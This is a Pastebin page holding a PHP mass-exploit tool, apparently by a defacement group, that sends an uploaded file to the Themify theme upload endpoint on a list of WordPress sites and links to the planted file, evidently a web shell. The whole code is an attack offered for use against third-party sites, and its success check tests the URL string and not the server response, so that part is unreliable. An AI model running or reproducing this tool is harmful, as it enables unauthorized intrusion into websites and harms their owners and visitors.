Advertisement
AZZATSSINS_CYBERSERK

wp themify afu

Dec 25th, 2016
250
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.89 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12. echo'<html><head><meta content="XPLOIT BY AZZATSSINS CYBERSERKERS" name="description">
  13. <title>!!!- WP THEMIFY AFU -!!!</title></head>
  14. <body bgcolor=silver>
  15. <center>
  16. <form enctype="multipart/form-data" method="POST">
  17. <font color=red>TARGET : </font><br><textarea name="target" placeholder="http://www.target.com/" style="width: 600px; height: 250px; margin: 5px auto; resize: none;"></textarea><br>
  18. <br>
  19. <font color=red>THEMES : </font><select name=themes>
  20. <option value="photobox">PhotoBox</option>
  21. <option value="Elemin">Elemin</option>
  22. <option value="Bloggie">Bloggie</option>
  23. <option value="Tisa">Tisa</option>
  24. <option value="Funki">Funki</option>
  25. <option value="Pinboard">Pinboard</option>
  26. <option value="Folo">Folo</option>
  27. <option value="grido">grido</option>
  28. <option value="Suco">Suco</option>
  29. <option value="iThemes2">iThemes2</option>
  30. <option value="fullpane">fullpane</option>
  31. <option value="simfo">simfo</option>
  32. <option value="rezo">rezo</option>
  33. <option value="bizco">bizco</option>
  34. <option value="minshop">minshop</option>
  35. <option value="themify-landing">themify-landing</option>
  36. <option value="themify-elegant">themify-elegant</option>
  37. <option value="themify-base">themify-base</option>
  38. <option value="themify-corporate">themify-corporate</option>
  39. <option value="themify-music">themify-music</option>
  40. <option value="postline">postline</option>
  41. <option value="newbasic">newbasic</option>
  42. </select></nobr><br><br>
  43. <font color=red>FILE : </font><input name="file" type="file">
  44. <br>
  45. <input name="azx" type="submit" value="Fuck it"></nobr>
  46. <br>
  47. </form>
  48. <br>
  49. ';
  50.  
  51. $themes = $_POST['themes'];
  52. $file = $_POST['file'];
  53. $target = explode("\r\n", $_POST['target']);
  54. if($_POST['azx']) {
  55. foreach($target as $url) {
  56. $path = "/wp-content/themes/".$themes."/themify/themify-ajax.php?upload=1";
  57. $shellpath = "/wp-content/themes/".$themes."/uploads/".$file;
  58. echo '<br>Trying to exploit '.$url.'<br>';
  59. $urlexploit = $url.$path;
  60. $post = array('Filedata'=>"@$file");
  61. $ch = curl_init($urlexploit);
  62. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  63. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  64. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0
  65. (Windows NT 6.1; rv:32.0) Gecko/20100101
  66. Firefox/32.0");
  67. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
  68. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  69. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  70. curl_setopt ($ch, CURLOPT_POST, 1);
  71. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  72. $hasil= curl_exec ($ch);
  73. curl_close ($ch);
  74. $anu = $url.$shellpath;
  75. if (preg_match("/200 OK/", $anu)){
  76. echo "<a href='".$anu."'>Click Here</a>";
  77. } else { echo "Failed";}
  78. }
  79. }
  80. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement